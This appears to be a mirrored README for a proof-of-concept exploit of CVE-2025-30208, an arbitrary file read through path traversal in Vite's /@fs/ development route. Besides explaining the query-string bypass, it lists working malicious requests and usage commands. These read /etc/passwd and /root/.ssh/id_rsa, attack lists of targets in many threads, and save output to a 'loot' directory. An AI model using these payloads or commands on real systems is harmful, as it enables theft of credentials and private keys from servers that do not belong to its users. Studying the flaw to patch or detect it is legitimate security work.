Share
## https://sploitus.com/exploit?id=9B34EA07-2C48-5FED-9507-5FB9FC1B4C42
# CVE-2025-30208

A PoC of the exploit script for the **Arbitrary File Read** vulnerability of Vite `/@fs/` **Path Traversal** in `transformMiddleware` (CVE-2025-30208). Detailed analysis can be refer to this [post](https://4xura.com/web/vite-arbitrary-file-read-via-improper-query-sanitization-in-fs-route-cve-2025-30208/).

Vulnerable in versions **prior to**:

- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10

## Overview

Vite is a popular open-source project which can be sourced from [Github](https://github.com/vitejs/vite) and its [official website](https://vite.dev/). It uses a special prefix, **`@fs`**, to allow direct access to **absolute file paths** in development mode:

```http
GET /@fs/<absolute/path/to/file>
```

But **to prevent abuse**, Vite **limits** what can be accessed through `@fs` using a configuration like:

```ts
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}
```

So in theory, files **outside** the allowed directory (like `/etc/passwd`) should be **blocked** โ€” even if someone tries using tricks like `../../../`.

**However**, the flaw lies in how **Vite parses and checks URLs** (via `transformMiddleware` middleware/function). The middleware/function uses `ensureServingAccess(url, ...)` to check if a file request via `/@fs/` was allowed.

However, an attacker could craft request with **trailing query separators** in the URL like:

```
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
```

These forms would **bypass the regular expression filters** (`rawRE`, `urlRE`) and security checks due to the malformed query string still matching the route logic. Whatโ€™s happening:

1. The path is `/@fs/../../../etc/passwd`
2. The query string is `raw??` (malformed on purpose)
3. Internally, Vite tries to **strip or normalize** trailing characters like `?`, and it does this **before** checking if the file path is allowed.
4. However, the check **fails to correctly parse and match the query string**, so the allowlist logic doesn't apply.

This means:

- The request bypasses the `server.fs.allow` check.
- Vite treats it as a valid file access request.
- And it reads and returns arbitrary files like `/etc/passwd`, if existed.

-----

## PoC Usage

### Basic usage

```bash
python3 poc.py [OPTIONS]
```

### Options

| Flag / Option     | Description                                                  |
| ----------------- | ------------------------------------------------------------ |
| `-u`, `--url`     | Single target URL (e.g. `example.com:5173`)                  |
| `-f`, `--file`    | File with list of targets (one URL per line)                 |
| `-p`, `--path`    | Filesystem path to read (default: `/etc/passwd`)             |
| `-b`, `--bypass`  | Query string to bypass route validation (default: `?raw??`)  |
| `--proxy`         | Proxy URL (e.g. `http://127.0.0.1:8080`)                     |
| `-o`, `--output`  | Output directory for saving exploitation results (default: `results`) |
| `-t`, `--threads` | Number of threads for batch mode (default: `10`)             |
| `-h`, `--help`    | Show help message and exit                                   |

### Examples

Single target exploitation:

```bash
python3 cve-2025-30208.py -u example.com:5173
```

Single target with custom LFI path to leak the file we want:

```bash
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
```

Batch exploitation with multiple targets:

```bash
python3 cve-2025-30208.py -f targets.txt
```

Custom bypass query:

```bash
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
```

Using a proxy (e.g. Burp Suite):

```bash
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
```

Custom output directory:

```bash
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
```

Increase thread count in batch mode:

```bash
python3 cve-2025-30208.py -f targets.txt -t 50
```